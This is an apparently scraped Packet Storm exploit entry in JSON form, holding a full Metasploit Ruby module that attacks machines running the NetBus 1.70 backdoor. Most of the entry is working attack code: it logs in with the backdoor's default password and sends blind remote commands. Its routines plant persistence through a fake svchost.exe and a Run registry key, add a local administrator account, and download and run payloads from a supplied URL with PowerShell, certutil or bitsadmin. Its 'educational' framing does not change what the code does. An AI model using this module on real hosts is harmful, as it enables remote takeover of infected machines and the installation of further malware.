{“lastseen”:”2025-12-26T17:18:59″,”description”:”This Metasploit module provides historical\/educational exploitation of the Backdoor.Win32.Netbus.170 trojan, originally discovered in 1998. It represents a legacy proof-of-concept rather than a modern offensive security tool…”,”published”:”2025-12-26T00:00:00″,”modified”:”2025-12-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Backdoor.Win32.Netbus.170 Blind Command Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:213311″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Backdoor.Win32.Netbus.170 Blind Command Execution\\n |\\n | # Author : indoushka\\n |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64\\n bits) |\\n | # Vendor : System built\u2011in component. No standalone download available\\n |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213263\/ \\u0026 MVID-2025-0703\\n \\n [+] Summary : This Metasploit module provides historical\/educational\\n exploitation of the Backdoor.Win32.Netbus.170 trojan, originally discovered\\n in 1998.\\n It represents a legacy proof-of-concept rather than a\\n modern offensive security tool.\\n \\n [+] Key points:\\n \\n This is not a native Windows vulnerability.\\n It does not work on clean or properly configured systems.\\n It requires existing malware, write permissions, and a trigger for\\n execution.\\n In real-world conditions, Windows system directories are protected and\\n prevent this attack without administrative privileges.\\n \\n [+] What It Is :\\n \\n Backdoor.Win32.Netbus.170 is a detection name used by antivirus programs\\n (like Kaspersky) for a variant of NetBus, a remote access Trojan (RAT) for\\n Windows.\\n The \u201c170\u201d generally refers to NetBus version 1.70 or a variant derived from\\n it.\\n \\n [+] Origin :\\n \\n NetBus was originally created by Carl\u2011Fredrik Neikter in March 1998.\\n Versions like 1.60 and 1.70 became widely known and later misused as\\n backdoors.\\n \\n [+] Appearance :\\n \\n The Trojan itself is detected in Windows 32\u2011bit systems.\\n Antivirus signatures identifying it (as Backdoor.Win32.Netbus.170) appeared\\n in the 2000s, documented in Kaspersky and other AV databases.\\n \\n [+] Key Notes :\\n \\n NetBus allows remote control of infected machines via a client-server model.\\n Classified as a Backdoor\/Trojan, it can compromise security if executed.\\n \\n [+] Technical Reality Check :\\n \\n Aspect Assessment Impact\\n Exploitation Method Blind command execution No output\/confirmation\\n Reliability Very low Fire-and-forget only\\n Modern System Support None Windows 95\/98\/2000\/XP only\\n Detection Risk Extremely high Easily detected by all\\n security tools\\n Practical Value Academic\/Research only Not for production use\\n \\n [+] Key Characteristics :\\n \\n [+] Critical Limitations:\\n \\n Blind Execution Only: No command output or confirmation\\n No Interactive Shell: Single TCP connection, no session establishment\\n Legacy Protocol: Plaintext authentication, no encryption\\n Fire-and-Forget Model: Commands sent without verification\\n Obsolete Targeting: Designed for Windows systems from 1998-2003 era\\n \\n Educational Value:\\n \\n Demonstrates early backdoor communication patterns\\n Shows evolution from simple to complex malware\\n Provides historical context for modern threat intelligence\\n Useful for forensic and malware analysis training\\n \\n [+] How It Actually Works:\\n \\n Authentication: Sends plaintext password to TCP port 12631\/12632\\n Command Execution: Uses StartApp;command format\\n Success Assumption: If connection remains open, assumes command executed\\n No Verification: Cannot confirm if commands actually run\\n \\n What It Cannot Do:\\n \\n Return command output\\n Establish persistent sessions\\n Work on modern Windows (7\/8\/10\/11)\\n Evade modern security solutions\\n Provide execution confirmation\\n \\n \\n [+] Usage:\\n \\n # 1. Basic Check\\n use exploit\/windows\/backdoor\/netbus_blind\\n set RHOST 192.168.1.100\\n set PASSWORD ecoli\\n check\\n \\n # 2. Simple Test\\n set ACTION test\\n exploit\\n \\n # 3. Command Execution\\n set ACTION execute\\n set CMD \\”notepad.exe\\”\\n exploit\\n \\n # 4. Create User (if applicable)\\n set ACTION persist\\n set CREATE_USER true\\n set USERNAME testuser\\n set USERPASS P@ssw0rd123\\n exploit\\n \\n # 5. Simulation Mode (for Training)\\n set SIMULATE_ONLY true\\n set ACTION test\\n exploit\\n \\n [+] PoC :\\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ManualRanking # Blind execution \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\\n \\n include Msf::Exploit::Remote::Tcp\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘Backdoor.Win32.Netbus.170 Blind Command\\n Execution’,\\n ‘Description’ =\\u003e %q{\\n This module exploits NetBus 1.70 backdoor via blind command\\n execution.\\n NetBus is a fire-and-forget backdoor that does NOT return any\\n command output.\\n \\n CRITICAL LIMITATIONS:\\n – No command output retrieval (blind execution only)\\n – No interactive shell support\\n – No execution confirmation\\n – Commands may fail silently\\n – Limited to Windows 95\/98\/2000\/XP era systems\\n \\n This module implements workarounds for modern systems but success\\n is not guaranteed.\\n Commands are sent as-is with no verification of execution.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’,\\n ‘Malvuln’, # 2025 advisory\\n ‘Unknown’, # Original NetBus author (~1998)\\n ‘Metasploit Community’\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘URL’, ‘\\n https:\/\/malvuln.com\/advisory\/086f0693f81f6d40460c215717349a1f.txt’],\\n [‘URL’, ‘https:\/\/en.wikipedia.org\/wiki\/NetBus’],\\n [‘URL’, ‘https:\/\/packetstormsecurity.com\/files\/10149\/netbus.txt.html\\n ‘]\\n ],\\n ‘DefaultOptions’ =\\u003e {\\n ‘SSL’ =\\u003e false,\\n ‘RPORT’ =\\u003e 12631,\\n ‘WfsDelay’ =\\u003e 15, # \u0648\u0642\u062a \u0623\u0637\u0648\u0644 \u0644\u0644\u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u0642\u062f\u064a\u0645\u0629\\n ‘PAYLOAD’ =\\u003e ‘windows\/exec’,\\n ‘CMD’ =\\u003e ‘calc.exe’ # \u0623\u0645\u0631 \u0627\u062e\u062a\u0628\u0627\u0631 \u0628\u0633\u064a\u0637\\n },\\n ‘Platform’ =\\u003e ‘win’,\\n ‘Arch’ =\\u003e [ARCH_X86], # NetBus 1.70 \u0647\u0648 32-bit \u0641\u0642\u0637\\n ‘Payload’ =\\u003e {\\n ‘BadChars’ =\\u003e \\”\\\\x00\\\\x0a\\\\x0d\\”,\\n ‘Space’ =\\u003e 1024,\\n ‘DisableNops’ =\\u003e true\\n },\\n ‘Targets’ =\\u003e [\\n [\\n ‘NetBus 1.70 (Windows 9x\/2000\/XP)’, {\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘windows\/exec’,\\n ‘CMD’ =\\u003e ‘calc.exe’\\n }\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DisclosureDate’ =\\u003e ‘1998-01-01’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SERVICE_RESTARTS], # \u0642\u062f \u064a\u062a\u0633\u0628\u0628 \u0641\u064a \u062a\u0639\u0637\u0644\\n ‘Reliability’ =\\u003e [SERVICE_RESOURCE_LOSS], # \u062a\u0646\u0641\u064a\u0630 \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],\\n ‘AKA’ =\\u003e [‘NetBus Pro 1.70’],\\n ‘RelatedModules’ =\\u003e [\\n ‘exploit\/windows\/misc\/netbus_trojan’\\n ]\\n }\\n ))\\n \\n register_options([\\n OptString.new(‘PASSWORD’, [true, ‘NetBus backdoor password’,\\n ‘ecoli’]),\\n OptInt.new(‘ALTERNATE_PORT’, [false, ‘Alternate Netbus port’, 12632]),\\n OptEnum.new(‘ACTION’, [\\n true,\\n ‘Action to perform’,\\n ‘test’,\\n [‘test’, ‘execute’, ‘persist’, ‘remove’, ‘custom’]\\n ]),\\n OptString.new(‘CMD’, [false, ‘Command to execute (for execute\/custom\\n actions)’, ‘calc.exe’]),\\n OptString.new(‘CUSTOM_PAYLOAD’, [false, ‘Custom payload\/command’]),\\n OptBool.new(‘TRY_POWERSHELL’, [false, ‘Attempt PowerShell commands’,\\n false]),\\n OptBool.new(‘CREATE_USER’, [false, ‘Create user account if possible’,\\n false]),\\n OptString.new(‘USERNAME’, [false, ‘Username to create’, ‘msfuser’]),\\n OptString.new(‘USERPASS’, [false, ‘Password for new user’,\\n ‘P@ssw0rd123’])\\n ])\\n \\n register_advanced_options([\\n OptBool.new(‘BLIND_MODE’, [true, ‘Assume blind execution (no\\n confirmation)’, true]),\\n OptInt.new(‘CMD_DELAY’, [true, ‘Delay between commands (seconds)’,\\n 3]),\\n OptBool.new(‘RETRY_FAILED’, [false, ‘Retry failed commands’, false]),\\n OptInt.new(‘MAX_RETRIES’, [false, ‘Maximum retry attempts’, 2]),\\n OptBool.new(‘SIMULATE_ONLY’, [false, ‘Simulate commands without\\n execution’, false]),\\n OptString.new(‘TEMP_DIR’, [false, ‘Temporary directory path’,\\n ‘%TEMP%’])\\n ])\\n end\\n \\n def check\\n print_status(\\”=== NetBus 1.70 Backdoor Check ===\\”)\\n print_status(\\”Target: #{rhost}:#{rport}\\”)\\n print_warning(\\”This is BLIND CHECK – No output will be received!\\”)\\n \\n check_result = Exploit::CheckCode::Safe\\n \\n begin\\n print_status(\\”Attempting connection…\\”)\\n connect\\n \\n # Send authentication\\n auth_cmd = \\”Password;0;#{datastore[‘PASSWORD’]}\\\\r\\\\n\\”\\n sock.put(auth_cmd)\\n \\n # Wait briefly for any response (NetBus rarely responds)\\n response = sock.get_once(-1, 2) rescue nil\\n \\n if response \\u0026\\u0026 !response.empty?\\n print_good(\\”Received response: #{response.strip}\\”)\\n \\n # Check for known NetBus responses\\n if response =~ \/Authenticated|OK|Welcome|NetBus\/i\\n check_result = Exploit::CheckCode::Vulnerable\\n else\\n check_result = Exploit::CheckCode::Detected\\n end\\n else\\n # No response – typical NetBus behavior\\n print_status(\\”No response received (typical for NetBus)\\”)\\n \\n # Try a simple test command\\n print_status(\\”Testing with simple command…\\”)\\n test_cmd = \\”StartApp;cmd.exe \/c echo . \\u003e nul\\\\r\\\\n\\”\\n sock.put(test_cmd)\\n Rex.sleep(2)\\n \\n # Check if connection is still alive\\n if sock \\u0026\\u0026 !sock.closed?\\n print_warning(\\”Connection maintained – NetBus may be present\\”)\\n check_result = Exploit::CheckCode::Appears\\n else\\n print_error(\\”Connection closed unexpectedly\\”)\\n end\\n end\\n \\n rescue ::Errno::ECONNREFUSED\\n print_error(\\”Connection refused – port may be closed\\”)\\n rescue ::Errno::ETIMEDOUT\\n print_error(\\”Connection timeout\\”)\\n rescue ::Rex::ConnectionError =\\u003e e\\n print_error(\\”Connection error: #{e.message}\\”)\\n rescue ::Exception =\\u003e e\\n print_error(\\”Unexpected error: #{e.class}: #{e.message}\\”)\\n ensure\\n disconnect rescue nil\\n end\\n \\n # Try alternate port if primary failed\\n if check_result == Exploit::CheckCode::Safe \\u0026\\u0026\\n datastore[‘ALTERNATE_PORT’]\\n print_status(\\”Trying alternate port\\n #{datastore[‘ALTERNATE_PORT’]}…\\”)\\n begin\\n connect(true, {‘RPORT’ =\\u003e datastore[‘ALTERNATE_PORT’]})\\n sock.put(\\”Password;0;#{datastore[‘PASSWORD’]}\\\\r\\\\n\\”)\\n Rex.sleep(2)\\n \\n if sock \\u0026\\u0026 !sock.closed?\\n print_warning(\\”Alternate port #{datastore[‘ALTERNATE_PORT’]}\\n accepts connections\\”)\\n check_result = Exploit::CheckCode::Appears\\n end\\n rescue\\n # Ignore errors for alternate port\\n ensure\\n disconnect rescue nil\\n end\\n end\\n \\n print_status(\\”Check completed: #{check_result}\\”)\\n return check_result\\n end\\n \\n def exploit\\n print_warning(\\”=\\” * 70)\\n print_warning(\\”NETBUS BLIND EXECUTION MODULE\\”)\\n print_warning(\\”=\\” * 70)\\n print_warning(\\”IMPORTANT: This is BLIND execution – NO output will be\\n received!\\”)\\n print_warning(\\”Commands are sent with NO confirmation of execution.\\”)\\n print_warning(\\”Success is assumed if no connection errors occur.\\”)\\n print_warning(\\”=\\” * 70)\\n \\n if datastore[‘SIMULATE_ONLY’]\\n print_status(\\”SIMULATION MODE – No commands will be executed\\”)\\n simulate_exploit\\n return\\n end\\n \\n # Establish connection\\n unless connect_to_netbus\\n print_error(\\”Failed to establish NetBus connection\\”)\\n return\\n end\\n \\n # Perform selected action\\n case datastore[‘ACTION’]\\n when ‘test’\\n execute_test\\n when ‘execute’\\n execute_command\\n when ‘persist’\\n establish_persistence\\n when ‘remove’\\n remove_backdoor\\n when ‘custom’\\n execute_custom\\n end\\n \\n print_status(\\”Exploitation sequence completed.\\”)\\n print_warning(\\”REMEMBER: This was BLIND execution – verify results\\n manually!\\”)\\n end\\n \\n def connect_to_netbus\\n print_status(\\”Establishing NetBus connection…\\”)\\n \\n ports = [datastore[‘RPORT’], datastore[‘ALTERNATE_PORT’]].compact.uniq\\n connected = false\\n \\n ports.each do |port|\\n next unless port\\n \\n begin\\n disconnect rescue nil\\n \\n print_status(\\”Trying port #{port}…\\”)\\n connect(true, {\\n ‘RPORT’ =\\u003e port,\\n ‘Timeout’ =\\u003e 10,\\n ‘CPORT’ =\\u003e 1025 + rand(64510)\\n })\\n \\n # Send authentication\\n auth_cmd = \\”Password;0;#{datastore[‘PASSWORD’]}\\\\r\\\\n\\”\\n sock.put(auth_cmd)\\n Rex.sleep(2)\\n \\n # Check if connection is alive\\n if sock \\u0026\\u0026 !sock.closed?\\n print_good(\\”Connected to port #{port}\\”)\\n \\n # Test with simple command\\n test_cmd = \\”StartApp;cmd.exe \/c echo . \\u003e nul\\\\r\\\\n\\”\\n sock.put(test_cmd)\\n Rex.sleep(1)\\n \\n if sock \\u0026\\u0026 !sock.closed?\\n print_good(\\”Connection test successful\\”)\\n @active_port = port\\n connected = true\\n break\\n end\\n end\\n \\n rescue ::Rex::ConnectionError =\\u003e e\\n print_error(\\”Port #{port}: #{e.message}\\”)\\n ensure\\n disconnect unless connected \\u0026\\u0026 @active_port == port\\n end\\n end\\n \\n if connected\\n print_status(\\”Using port #{@active_port} for commands\\”)\\n return true\\n else\\n print_error(\\”Failed to connect to any NetBus port\\”)\\n return false\\n end\\n end\\n \\n def execute_test\\n print_status(\\”=== EXECUTING TEST COMMANDS ===\\”)\\n print_warning(\\”These are BLIND commands – no output will be seen!\\”)\\n \\n test_commands = [\\n \\”StartApp;calc.exe\\\\r\\\\n\\”,\\n \\”StartApp;notepad.exe\\\\r\\\\n\\”,\\n \\”StartApp;cmd.exe \/c echo test \\u003e nul\\\\r\\\\n\\”,\\n \\”StartApp;cmd.exe \/c dir C:\\\\\\\\ \\u003e nul\\\\r\\\\n\\”\\n ]\\n \\n test_commands.each_with_index do |cmd, index|\\n print_status(\\”Test #{index + 1}\/#{test_commands.length}:\\n #{cmd.strip}\\”)\\n \\n begin\\n sock.put(cmd)\\n Rex.sleep(datastore[‘CMD_DELAY’])\\n \\n # Check if connection is still alive\\n if sock \\u0026\\u0026 !sock.closed?\\n print_good(\\” Command sent (connection alive)\\”)\\n else\\n print_error(\\” Connection lost after command\\”)\\n reconnect_if_needed\\n end\\n rescue ::Exception =\\u003e e\\n print_error(\\” Failed: #{e.message}\\”)\\n reconnect_if_needed\\n end\\n end\\n \\n print_status(\\”Test sequence completed\\”)\\n end\\n \\n def execute_command\\n cmd = datastore[‘CMD’]\\n if cmd.blank?\\n cmd = ‘calc.exe’\\n print_warning(\\”No command specified, using default: #{cmd}\\”)\\n end\\n \\n print_status(\\”=== EXECUTING COMMAND ===\\”)\\n print_warning(\\”Command: #{cmd}\\”)\\n print_warning(\\”This is BLIND execution – no output will be seen!\\”)\\n \\n # Format command for NetBus\\n netbus_cmd = \\”StartApp;#{cmd}\\\\r\\\\n\\”\\n \\n retries = 0\\n max_retries = datastore[‘RETRY_FAILED’] ? datastore[‘MAX_RETRIES’] : 0\\n \\n begin\\n print_status(\\”Sending command…\\”)\\n sock.put(netbus_cmd)\\n Rex.sleep(datastore[‘CMD_DELAY’])\\n \\n if sock \\u0026\\u0026 !sock.closed?\\n print_good(\\”Command sent successfully\\”)\\n print_status(\\”Assuming command executed (BLIND mode)\\”)\\n else\\n print_error(\\”Connection lost during command execution\\”)\\n if retries \\u003c max_retries\\n retries += 1\\n print_status(\\”Retrying (#{retries}\/#{max_retries})…\\”)\\n reconnect_if_needed\\n retry\\n end\\n end\\n \\n rescue ::Exception =\\u003e e\\n print_error(\\”Command execution failed: #{e.message}\\”)\\n if retries \\u003c max_retries\\n retries += 1\\n print_status(\\”Retrying (#{retries}\/#{max_retries})…\\”)\\n Rex.sleep(2)\\n reconnect_if_needed\\n retry\\n end\\n end\\n end\\n \\n def establish_persistence\\n print_status(\\”=== ESTABLISHING PERSISTENCE ===\\”)\\n print_warning(\\”Creating artifacts (files, registry entries, tasks)\\”)\\n print_warning(\\”Cleanup may be required if CLEANUP is disabled\\”)\\n \\n persistence_methods = []\\n \\n # Simple persistence methods compatible with older systems\\n persistence_methods \\u003c\\u003c \\”StartApp;cmd.exe \/c copy\\n C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\calc.exe \\\\\\”%TEMP%\\\\\\\\svchost.exe\\\\\\”\\\\r\\\\n\\”\\n persistence_methods \\u003c\\u003c \\”StartApp;reg add\\n \\\\\\”HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\” \/v Update \/t\\n REG_SZ \/d \\\\\\”%TEMP%\\\\\\\\svchost.exe\\\\\\” \/f\\\\r\\\\n\\”\\n \\n # For newer systems (if PowerShell is available)\\n if datastore[‘TRY_POWERSHELL’]\\n persistence_methods \\u003c\\u003c \\”StartApp;powershell -Command \\\\\\”Copy-Item\\n ‘C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\calc.exe’ -Destination\\n ‘$env:TEMP\\\\\\\\svchost.exe’\\\\\\”\\\\r\\\\n\\”\\n persistence_methods \\u003c\\u003c \\”StartApp;powershell -Command\\n \\\\\\”New-ItemProperty -Path\\n ‘HKCU:\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run’ -Name ‘Update’\\n -Value ‘$env:TEMP\\\\\\\\svchost.exe’ -PropertyType String -Force\\\\\\”\\\\r\\\\n\\”\\n end\\n \\n # Create user if requested\\n if datastore[‘CREATE_USER’]\\n username = datastore[‘USERNAME’]\\n userpass = datastore[‘USERPASS’]\\n \\n persistence_methods \\u003c\\u003c \\”StartApp;net user #{username} #{userpass}\\n \/add\\\\r\\\\n\\”\\n persistence_methods \\u003c\\u003c \\”StartApp;net localgroup administrators\\n #{username} \/add\\\\r\\\\n\\”\\n end\\n \\n persistence_methods.each_with_index do |cmd, index|\\n print_status(\\”Persistence step #{index +\\n 1}\/#{persistence_methods.length}…\\”)\\n \\n begin\\n sock.put(cmd)\\n Rex.sleep(datastore[‘CMD_DELAY’])\\n \\n if sock \\u0026\\u0026 !sock.closed?\\n print_good(\\” Step completed (assumed)\\”)\\n else\\n print_error(\\” Connection lost\\”)\\n break\\n end\\n rescue ::Exception =\\u003e e\\n print_error(\\” Failed: #{e.message}\\”)\\n end\\n end\\n \\n print_status(\\”Persistence sequence completed\\”)\\n print_warning(\\”Artifacts created: Check manually for verification\\”)\\n end\\n \\n def remove_backdoor\\n print_status(\\”=== ATTEMPTING TO REMOVE NETBUS ===\\”)\\n print_warning(\\”Removal is NOT reliable with NetBus\\”)\\n \\n # Various removal commands (none are guaranteed)\\n removal_attempts = [\\n \\”RemoveServer;1\\\\r\\\\n\\”,\\n \\”RemoveServer;\\\\r\\\\n\\”,\\n \\”UnloadServer;1\\\\r\\\\n\\”,\\n \\”StopServer;1\\\\r\\\\n\\”,\\n \\”StartApp;taskkill \/f \/im keyhook.exe 2\\u003enul\\\\r\\\\n\\”,\\n \\”StartApp;taskkill \/f \/im netbus.exe 2\\u003enul\\\\r\\\\n\\”\\n ]\\n \\n removal_attempts.each_with_index do |cmd, index|\\n print_status(\\”Removal attempt #{index +\\n 1}\/#{removal_attempts.length}: #{cmd.strip}\\”)\\n \\n begin\\n sock.put(cmd)\\n Rex.sleep(2)\\n \\n # Try to verify removal by attempting to reconnect\\n if index == removal_attempts.length – 1 # Last attempt\\n sock.put(\\”Password;0;#{datastore[‘PASSWORD’]}\\\\r\\\\n\\”)\\n Rex.sleep(1)\\n \\n begin\\n response = sock.get_once(-1, 1)\\n if response.nil?\\n print_good(\\” No response – backdoor may be removed\\”)\\n else\\n print_warning(\\” Still responding – removal may have failed\\”)\\n end\\n rescue\\n print_good(\\” Connection error – backdoor may be removed\\”)\\n end\\n end\\n \\n rescue ::Exception =\\u003e e\\n print_error(\\” Failed: #{e.message}\\”)\\n end\\n end\\n \\n print_status(\\”Removal attempts completed\\”)\\n print_warning(\\”Manual verification required!\\”)\\n end\\n \\n def execute_custom\\n custom_cmd = datastore[‘CUSTOM_PAYLOAD’]\\n if custom_cmd.blank?\\n print_error(\\”No custom payload specified\\”)\\n return\\n end\\n \\n print_status(\\”=== EXECUTING CUSTOM PAYLOAD ===\\”)\\n print_warning(\\”Payload: #{custom_cmd}\\”)\\n \\n # Handle different payload types\\n if custom_cmd.start_with?(‘http:\/\/’, ‘https:\/\/’)\\n # URL download and execute\\n execute_download_payload(custom_cmd)\\n elsif custom_cmd.include?(‘.exe’) || custom_cmd.include?(‘.dll’)\\n # Assume it’s a file execution\\n execute_file_payload(custom_cmd)\\n else\\n # Treat as direct command\\n netbus_cmd = \\”StartApp;#{custom_cmd}\\\\r\\\\n\\”\\n execute_blind_command(netbus_cmd, \\”Custom payload\\”)\\n end\\n end\\n \\n def execute_download_payload(url)\\n print_status(\\”Downloading payload from: #{url}\\”)\\n \\n # Simple download methods\\n download_methods = []\\n \\n # Method 1: PowerShell\\n if datastore[‘TRY_POWERSHELL’]\\n ps_cmd = \\”powershell -Command \\\\\\”(New-Object\\n Net.WebClient).DownloadFile(‘#{url}’, ‘$env:TEMP\\\\\\\\payload.exe’);\\n Start-Process ‘$env:TEMP\\\\\\\\payload.exe’\\\\\\”\\”\\n download_methods \\u003c\\u003c \\”StartApp;#{ps_cmd}\\\\r\\\\n\\”\\n end\\n \\n # Method 2: Certutil\\n certutil_cmd = \\”cmd.exe \/c certutil -urlcache -split -f \\\\\\”#{url}\\\\\\”\\n \\\\\\”%TEMP%\\\\\\\\payload.exe\\\\\\” \\u0026\\u0026 start \\\\\\”\\\\\\” \\\\\\”%TEMP%\\\\\\\\payload.exe\\\\\\”\\”\\n download_methods \\u003c\\u003c \\”StartApp;#{certutil_cmd}\\\\r\\\\n\\”\\n \\n # Method 3: Bitsadmin (Windows 7+)\\n bits_cmd = \\”cmd.exe \/c bitsadmin \/transfer job \/download \/priority high\\n \\\\\\”#{url}\\\\\\” \\\\\\”%TEMP%\\\\\\\\payload.exe\\\\\\” \\u0026\\u0026 start \\\\\\”\\\\\\” \\\\\\”%TEMP%\\\\\\\\payload.exe\\\\\\”\\”\\n download_methods \\u003c\\u003c \\”StartApp;#{bits_cmd}\\\\r\\\\n\\”\\n \\n download_methods.each_with_index do |cmd, index|\\n print_status(\\”Trying download method #{index + 1}…\\”)\\n if execute_blind_command(cmd, \\”Download method #{index + 1}\\”)\\n print_good(\\”Download command sent\\”)\\n break\\n end\\n end\\n end\\n \\n def execute_file_payload(filepath)\\n print_status(\\”Executing file: #{filepath}\\”)\\n \\n cmd = \\”StartApp;start \\\\\\”\\\\\\” \\\\\\”#{filepath}\\\\\\”\\\\r\\\\n\\”\\n execute_blind_command(cmd, \\”File execution\\”)\\n end\\n \\n def execute_blind_command(cmd, description = \\”Command\\”)\\n begin\\n print_status(\\”Executing: #{description}\\”)\\n sock.put(cmd)\\n Rex.sleep(datastore[‘CMD_DELAY’])\\n \\n if sock \\u0026\\u0026 !sock.closed?\\n print_good(\\”Command sent (assumed executed)\\”)\\n return true\\n else\\n print_error(\\”Connection lost\\”)\\n return false\\n end\\n rescue ::Exception =\\u003e e\\n print_error(\\”Execution failed: #{e.message}\\”)\\n return false\\n end\\n end\\n \\n def reconnect_if_needed\\n unless sock \\u0026\\u0026 !sock.closed?\\n print_status(\\”Attempting to reconnect…\\”)\\n connect_to_netbus\\n end\\n end\\n \\n def simulate_exploit\\n print_status(\\”=== SIMULATION MODE ===\\”)\\n print_status(\\”The following commands WOULD be executed:\\”)\\n \\n case datastore[‘ACTION’]\\n when ‘test’\\n print_status(\\”1. StartApp;calc.exe\\”)\\n print_status(\\”2. StartApp;notepad.exe\\”)\\n print_status(\\”3. StartApp;cmd.exe \/c echo test \\u003e nul\\”)\\n when ‘execute’\\n print_status(\\”Command: #{datastore[‘CMD’]}\\”)\\n when ‘persist’\\n print_status(\\”1. Copy file to %TEMP%\\”)\\n print_status(\\”2. Add registry Run key\\”)\\n if datastore[‘CREATE_USER’]\\n print_status(\\”3. Create user: #{datastore[‘USERNAME’]}\\”)\\n end\\n when ‘remove’\\n print_status(\\”Various NetBus removal commands\\”)\\n when ‘custom’\\n print_status(\\”Custom payload: #{datastore[‘CUSTOM_PAYLOAD’]}\\”)\\n end\\n \\n print_status(\\”Simulation completed – no actual commands were sent\\”)\\n end\\n \\n def cleanup\\n print_status(\\”Cleaning up…\\”) if datastore[‘VERBOSE’]\\n \\n begin\\n disconnect if sock \\u0026\\u0026 !sock.closed?\\n rescue ::Exception\\n # Ignore cleanup errors\\n end\\n \\n super\\n end\\n end\\n \\n Greetings to\\n :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln\\n (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213311″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213311\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-26T17:18:59″,”description”:”This Metasploit module provides historical\/educational exploitation of the Backdoor.Win32.Netbus.170 trojan, originally discovered in 1998. It represents a legacy proof-of-concept rather than a modern offensive security…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32937","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n